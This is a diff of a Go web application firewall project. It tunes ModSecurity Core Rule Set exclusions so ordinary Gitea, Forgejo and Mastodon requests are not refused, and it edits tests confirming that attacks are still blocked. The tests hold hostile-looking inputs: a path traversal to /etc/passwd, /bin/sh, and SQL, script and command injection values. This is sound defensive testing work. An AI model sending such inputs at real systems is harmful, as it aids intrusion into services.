ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
# 930120: .profile # 930120: .profile
# 932120: powershell-scripts # 932120: powershell-scripts
# 932260: python3-app # 932260: python3-app
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \ # The searches:
"id:900604,phase:1,pass,nolog,\ # - the dashboard's filter of repositories;
# - the repositories on a user's or an organisation's page, whose path has
# one segment;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users.
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
explore/(?:users|organizations)|api/v1/users/search|\
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
"id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there: # These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~ # 920500: notes.txt~
# 934100: process.env.d.ts # 934100: process.env.d.ts
@@ -273,8 +163,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql # 942140: information_schema.sql
# 944110: java/lang/Runtime.java # 944110: java/lang/Runtime.java
# 944130: java.lang.String.md # 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and # Each request skips the rules that refused it. The fourth change already has
# redirect_to skip 930120, 932160 and 932260 on every path. # path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file. # A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -393,92 +283,6 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl" "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# The requests below name a file or a branch in a body field, which is read only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
# refused it.
# Each field below that names a branch skips these rules:
# 932120: fix-powershell-module
# 932260: feat/docker-support
# None applies when the query has a parameter of the same name.
# The web editor's save, new file, delete, upload, patch, cherry-pick and
# preview. The file's path, in tree_path, skips these rules:
# 930120: .htaccess
# 932120: scripts/install-script.sh
# 932260: docker-compose.yml
# The commit's summary, in commit_summary, skips these rules:
# 930120: Remove .htaccess
# 932120: Remove scripts/install-script.sh
# The file's text or the patch, in content, skips one rule:
# 932235: a line that starts with install
# A new branch for the commit is named in new_branch_name.
SecRule REQUEST_FILENAME \
"@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
"id:900660,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
ctl:ruleRemoveTargetById=932235;ARGS:content,\
ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
# A branch created on the web, in new_branch_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
"id:900661,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:new_branch_name "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
# A branch renamed on the web, in from and to.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
"id:900662,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
ctl:ruleRemoveTargetById=932260;ARGS:from,\
ctl:ruleRemoveTargetById=932120;ARGS:to,\
ctl:ruleRemoveTargetById=932260;ARGS:to"
# A branch created through the API, in new_branch_name. It starts from the
# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
"id:900663,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
# A pull request opened through the API, from the branch in head into the
# branch in base.
# An edit of one sends its new target branch in base.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
"id:900664,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
ctl:ruleRemoveTargetById=932260;ARGS:json.base"
# One file or several created, changed or deleted through the API, on the branch
# in branch. A new branch for the commit is named in new_branch. The commit's
# message, in message, skips these rules:
# 930120: Remove .htaccess
# 932120: Add a PowerShell build script
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
"id:900665,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message"
# An artifact upload from actions/upload-artifact@v3 sends the header # An artifact upload from actions/upload-artifact@v3 sends the header
# Content-Range, which the Core Rule Set refused (920450). # Content-Range, which the Core Rule Set refused (920450).
SecRule REQUEST_FILENAME \ SecRule REQUEST_FILENAME \
@@ -486,25 +290,6 @@ SecRule REQUEST_FILENAME \
"id:900640,phase:1,pass,nolog,\ "id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range" ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
# The forms that adopt or delete an unadopted repository send its name in id.
# The admin forms put its owner in front, as alice/python3-app. id skips these
# rules there:
# 930120: alice/.profile
# 932120: alice/powershell-scripts
# 932160: robin/assets, which holds bin/as
# 932260: alice/python3-app
# The forms post to these paths:
# /-/admin/repos/unadopted: gitea's admin form
# /admin/repos/unadopted: Forgejo's admin form
# /user/settings/repos/unadopted: the form in a user's settings, on both
SecRule REQUEST_FILENAME \
"@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
"id:900645,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:id,\
ctl:ruleRemoveTargetById=932120;ARGS:id,\
ctl:ruleRemoveTargetById=932160;ARGS:id,\
ctl:ruleRemoveTargetById=932260;ARGS:id"
# The passwords skip each rule that random passwords set off: # The passwords skip each rule that random passwords set off:
# password: signing in, signing up, linking an account, activating an account, # password: signing in, signing up, linking an account, activating an account,
# resetting or changing the password, deleting an account, and creating or # resetting or changing the password, deleting an account, and creating or
@@ -551,16 +336,3 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\ ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\ ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/" ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
# Referer skips the rule on Java class names (944130). It refused every page
# opened from the page of java.lang.String.md.
SecAction "id:900641,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
# A container image push that reuses a layer names the image it takes the layer
# from in the query parameter from, which skips the list of command names
# (932260) there. It refused the push of a layer from owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
SecMarker END_GITEA
-250
View File
@@ -1,250 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
// of unadopted repositories. The forms that adopt or delete one post there.
const (
giteaAdminUnadoptedRepos = "/-/admin/repos/unadopted"
forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
)
// giteaSearches are searches of the pages gitea and Forgejo share whose q
// skips the lists of system files and command names, in the eighth change.
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaSearches = []string{
"/notifications/watching",
"/org/acme/milestones/developers",
"/org/acme/teams/-/search",
"/alice/-/projects",
"/alice/-/packages/generic/tools-cli/versions",
"/alice/-/packages/npm/@alice%2Ftools-cli/versions",
"/alice/tools/milestones",
"/alice/tools/projects",
"/alice/tools/issues/suggestions",
"/alice/tools/settings/actions/runners",
"/org/acme/settings/actions/runners",
"/user/settings/actions/runners",
"/-/admin/actions/runners",
"/-/admin/users",
"/-/admin/orgs",
"/-/admin/repos",
giteaAdminUnadoptedRepos,
"/-/admin/emails",
"/-/admin/emails/activate",
"/admin/actions/runners",
"/admin/users",
forgejoAdminUnadoptedRepos,
"/admin/emails/activate",
}
// giteaTagAndPackageSearches are the searches of tags and packages, whose q
// also lets /bin/sh through, since a tag or package name can hold a slash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaTagAndPackageSearches = []string{
"/alice/tools/tags",
"/alice/tools/packages",
"/-/admin/packages",
"/admin/packages",
}
func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The forms that adopt a repository and activate an email send the
// admin page's search in q, as gitea 1.27.3 and Forgejo 17.0.1 do.
for _, value := range hardValues {
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
r := request{http.MethodPost, path, []string{formData}}
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
}
activate := "sort=email&q=" + value + "&is_primary=&is_activated=" +
"&uid=2&email=bob%40example.com&primary=1&activate=0"
for _, path := range []string{"/-/admin/emails/activate", "/admin/emails/activate"} {
r := request{http.MethodPost, path, []string{formData}}
wantBody(t, crs, r, activate, coreruleset.Result{}, activate)
}
}
}
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
// The admin forms send the repository's owner and name in id, and the
// form in a user's settings only its name. robin/assets holds bin/as, a
// shell path.
ownerAndName := []string{
"alice%2Fpython3-app",
"alice%2Fpowershell-scripts",
"alice%2F.profile",
"robin%2Fassets",
}
for _, form := range []struct {
path string
ids []string
}{
{giteaAdminUnadoptedRepos, ownerAndName},
{forgejoAdminUnadoptedRepos, ownerAndName},
{
"/user/settings/repos/unadopted", // gitea's and Forgejo's
[]string{"python3-app", "powershell-scripts", ".profile"},
},
} {
r := request{http.MethodPost, form.path, []string{formData}}
for _, action := range []string{"adopt", "delete"} {
for _, id := range form.ids {
body := "id=" + id + "&action=" + action
wantBody(t, crs, r, body, coreruleset.Result{}, body)
}
}
// Another field keeps those rules.
body := "id=" + form.ids[0] + "&action=adopt&page=python3"
wantBody(t, crs, r, body, matched(932260), body)
// Attacks in id are still refused.
for _, attack := range []string{
sqlInjection,
scriptInjection,
commandInjection,
"..%2F..%2Fetc%2Fpasswd",
} {
body := "id=" + attack + "&action=adopt"
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", form.path, body, got)
}
}
}
// On another path, id keeps those rules.
r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
wantBody(t, crs, r, body, matched(932260), body)
}
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range slices.Concat(giteaSearches, giteaTagAndPackageSearches) {
for _, attack := range []string{
sqlInjection, pathTraversal, scriptInjection, commandInjection,
} {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh stays refused in q on the searches that are not of tags or
// packages.
for _, path := range giteaSearches {
if got := inspect(t, crs, get(path+"?q=%2Fbin%2Fsh")); got.Score < threshold {
t.Errorf("%s?q=%%2Fbin%%2Fsh let through: %+v", path, got)
}
}
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
// /bin/sh, a shell command after a ";", a path traversal and the hard
// values stay refused in q on paths near the searches, and in another
// field on them.
for _, target := range []string{
"/org/acme/teams?q=",
"/org/acme/teams/-/search/x?q=",
"/org/acme/issues/developers/x?q=",
"/alice/-/projects/1?q=",
"/alice/-/packages/generic/tools-cli/1.0.0?q=",
"/alice/tools/milestones/new?q=",
"/alice/tools/milestone/new?q=",
"/alice/tools/projects/1?q=",
"/alice/tools/packages/x?q=",
"/alice/tools/tags/v1.0?q=",
"/alice/tools/issues/1?q=",
"/alice/tools/settings/actions?q=",
"/user/settings/actions?q=",
"/-/admin/users/1/edit?q=",
"/-/admin/emails/delete?q=",
"/-/admin/actions/runners/1?q=",
"/-/admin/packages/delete?q=",
"/alice/tools/milestones?other=",
"/alice/tools/milestone/1?other=",
"/alice/tools/tags?other=",
"/org/acme/issues/developers?other=",
"/org/acme/teams/-/search?other=",
"/-/admin/users?other=",
"/-/admin/packages?other=",
} {
for _, value := range slices.Concat(attacks, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Under /admin/, where Forgejo serves its admin pages, only the hard
// values are left out: the tenth change lets them through in q on every
// path there, for Drupal.
for _, target := range []string{
"/admin/packages/delete?q=",
"/admin/packages?other=",
} {
for _, value := range attacks {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Referer keeps its rules on a page opened from a path near the
// searches of one team and of one milestone.
for _, path := range []string{
"/org/acme/issues/developers/x",
"/alice/tools/milestone/new",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
+3 -12
View File
@@ -1,11 +1,11 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that # The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon # refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each # sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this # exclusion runs with the request, before the rules it switches off, so this
# file is loaded before the Core Rule Set's rules. Each comment names a request # file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query # a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while # has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # set.
# #
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own # Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths. # resources under them count as Mastodon's paths.
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
# it while SWW_WAF_APPS is unset, or lists mastodon for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query: # The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la # q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3 # acct: /api/v1/accounts/lookup?acct=python3
@@ -304,5 +297,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/" ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+28 -146
View File
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mastodonThreshold = 5 const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post. // mastodonStatuses is where Mastodon's apps and web app post.
@@ -55,20 +55,6 @@ const (
mastodonStatus = "status=" mastodonStatus = "status="
) )
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=". // and 932260 in the query, on a path where it skips them, ending in "=".
// //
@@ -120,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment}, {http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{ {http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
http.MethodPost, {http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
"/admin/domain_blocks",
"domain_block[private_comment]=",
},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[public_comment]=",
},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="}, {http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="}, {http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="}, {http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="}, {http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{ {http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
http.MethodPost,
mastodonBranding,
"form_admin_settings[site_short_description]=",
},
{ {
http.MethodPost, "/admin/settings/about", http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=", "form_admin_settings[site_extended_description]=",
}, },
{http.MethodPost, "/filters", "custom_filter[title]="}, {http.MethodPost, "/filters", "custom_filter[title]="},
{ {http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
http.MethodPost, {http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
"/filters", {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
"custom_filter[keywords_attributes][0][keyword]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[name]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[website]=",
},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="},
{ {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
http.MethodPost, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
mastodonAccount,
"user[invite_request_attributes][text]=",
},
{
http.MethodPost,
"/admin/accounts/1/action",
"admin_account_action[text]=",
},
{http.MethodPost, "/admin/report_notes", "report_note[content]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="},
{ {
http.MethodPost, "/admin/account_moderation_notes", http.MethodPost, "/admin/account_moderation_notes",
@@ -195,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonAccount, mastodonPassword}, {http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="}, {http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="}, {http.MethodPost, mastodonAccount, "user[current_password]="},
{ {http.MethodPost, "/settings/migration", "account_migration[current_password]="},
http.MethodPost,
"/settings/migration",
"account_migration[current_password]=",
},
{ {
http.MethodPost, "/settings/migration/redirect", http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=", "form_redirect[current_password]=",
}, },
{ {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
http.MethodPost,
"/settings/delete",
"form_delete_confirmation[password]=",
},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, passwordField},
} }
@@ -235,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
}, },
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`}, {http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`}, {http.MethodPatch, mastodonEditor, `{"note":%s}`},
{ {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
mastodonEditor,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`}, {http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`}, {http.MethodPatch, mastodonProfile, `{"note":%s}`},
{ {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
mastodonProfile,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -265,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`}, {http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{ {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
http.MethodPost, {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
mastodonInbox,
`{"object":{"attachment":[{"name":%s}]}}`,
},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"value":%s}]}}`,
},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
} }
@@ -317,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
} }
r := request{sent.method, sent.target, []string{jsonBody}} r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody( got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
t,
readingBodies(t),
r,
fmt.Sprintf(sent.field, quoted),
)
return got.Score return got.Score
} }
@@ -353,11 +270,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm( scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
t,
sent,
value,
)
} }
unescaped, err := url.QueryUnescape(value) unescaped, err := url.QueryUnescape(value)
@@ -366,11 +279,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON( scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
t,
sent,
unescaped,
)
} }
return scores return scores
@@ -407,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
t.Run("JSON", func(t *testing.T) { t.Run("JSON", func(t *testing.T) {
t.Parallel() t.Parallel()
r := request{ r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
mastodonPasswordJSON.method, []string{jsonBody}}
mastodonPasswordJSON.target,
[]string{jsonBody},
}
wantRandomPasswordsPass(t, r, "password") wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password") wantPasswordAttacksPass(t, r, "password")
@@ -426,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge}, {"/auth/challenge", formData, challenge},
